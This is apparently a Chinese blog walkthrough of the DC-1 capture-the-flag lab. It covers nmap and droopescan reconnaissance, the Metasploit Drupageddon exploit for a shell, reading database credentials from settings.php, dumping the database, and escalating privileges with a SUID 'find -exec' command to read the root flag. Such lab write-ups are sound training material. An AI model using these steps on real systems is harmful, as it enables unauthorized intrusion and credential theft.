攻防夺旗DC1

软件综合训练第二天….

1. 扫描被攻击主机ip地址

1
nmap -sn 192.168.73.0/24

1.png

从结果发现,共有五台在线主机,IP末尾为.1、.2和.254位虚拟机VMware自带,而kali_linux的IP为192.168.73.131,因此我们要攻击的主机的ip为192.168.73.130。

###2. 获取更多信息

1
nmap -Pn -sSV -A  -p- -T5 192.168.73.130

-Pn为了不同ping,因为知道主机已启动,-p-扫描所有端口,-sC用默认脚本,-sSV发现开放端口然后尝试使用bannergrabbing服务名称和版本信息,-A运行大量nmap脚本来识别操作系统并收集更多信息,比较激进,-T5用于扫描更快。-T3是nmap默认值,在此下可用于避免网络上的IDS(他们会延迟扫描)。ip地址段为kali_linxu所属网段。

2.png

可以从结果看出,该服务器是一个web服务器,因为它开放了80端口,并且使用了Drupal的CMS进行搭建的网站。因此我们可以考虑利用Drupal的漏洞进行攻击,但是利用nmap仅仅只能得到其版本为7,不能更加精确,因此我们需要确定他更加具体的版本号。

###3. 进一步扫描,确定drupal版本:

安装并使用droopescan对drupal 进行扫描:

1
2
3
git clone https://github.com/droope/droopescan.git
cd droopescan
pip install -r requirements.txt

使用方法:

1
./droopescan scan drupal -u dc1.com

比如现在我们要攻击的主机为192.168.73.130,则具体命令为:

1
./droopescan scan drupal -u 192.168.73.130

扫描结果如下:

3.png

由结果我们发现,该网站所使用的drupal版本可能为7.22~7.26,因此存在Drupageddon漏洞

(Drupageddon是Drupal版本7.32中暴露的漏洞。它允许远程代码执行和shell访问)

4. 利用Drupageddon

msf中已经内置该漏洞脚本,可以直接在msf中查找

1
2
msfconsole
msf > search Drupal

4.png

接下来就是要利用该脚本进行攻击了,攻击方法如下(在msfconsole下):

1
2
3
use exploit/multi/http/drupal_drupageddon
set rhost 192.168.73.130
exploit

rhost参数为被攻击的主机ip地址。

5.png

这样我们就获得了这个网站的控制权了,但却不是root用户,我们可以输入以下命令发现我们并没有获得全部的权限:

1
2
shell
whoami

6.png

我们可以看到通过whoami命令得到的并不是root用户。

5. Get Flag1 !

当我们获取到了被攻击主机的网站控制权后,我们可以试一试ls命令,发现该目录下有一个flag1.txt,我们找到了一个旗子!让我们打开来看看里面有什么提示呢!

1
meterpreter > cat flag1.txt

注意:一定要在meterpreter > 提示符下,如果你跟着我的上一步输入了shell,那请先输入exit退出到meterpreter >

7.png

我们可以看到第一条提示:Every good CMS needs a config file - and so do you.

提示配置文件,谷歌得知在在sites/default/settings.php下。

让我们打开配置文件看看都有什么内容呢…

8.png

可以看到在第一行写着:flag2

Brute force and dictionary attacks aren’t the

  • only ways to gain access (and you WILL need access).
  • What can you do with these credentials?

同时获得数据库用户名密码(dbuser/R0ck3t)

接下来让我们进入数据库,试着找找有没有下一个flag,进入数据库命令如下:

1
2
3
shell
python -c 'import pty; pty.spawn("/bin/bash")'
mysql -u dbuser -p

之后要求你输入密码,密码上面已经得到了:R0ck3t

之后输入:

1
2
use drupaldb;
select * from users;

这样就得到了加密后的admin密码,下面我们需要把数据库dump下来。

6. 把数据库dump下来:

1
mysqldump -u dbuser -p drupaldb > 1.sql

使用ls命令可以看到当前目录下存在1.sql文件。

9.png

使用cat命令打开1.sql查找flag3,可以发现存在提示:search_dataset:flag3 special perms will help find the passwd but you ll need to exec that command to work out how to get what s in the shadow

两个提示:一个find,一个passwd

7. 根据提示,寻找其余flag

因为passwd为配置文件,位于/etc/passwd,因此我们cd到/etc目录下查看passwd文件内容:

10.png

我们可以发现passwd文件内容最后一行存在一个用户名为flag4,我们于是cd到flag4的用户目录/home/flag4下查看。

11.png

我们发现该用户目录下有一个flag4.txt,于是我们继续用cat命令查看该文件内容。

12.png

这个提示告诉我们最后一个flag在root目录下,我们可以利用和find相似的方法去寻找。

1
find /root

13.png

可以看到在/root目录下有最后一个flag,即thefinalflag.txt,但是我们并没有root用户权限,怎么才能查看到这个文件内容呢?

我们可以利用find进行提权,直接使用以下命令:

1
find /root/thefinalflag.txt -type f -exec cat '{}' \;

14.png

好了,我们终于成功了!嘿嘿嘿!

DC4 使用bettercap进行渗透测试
Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×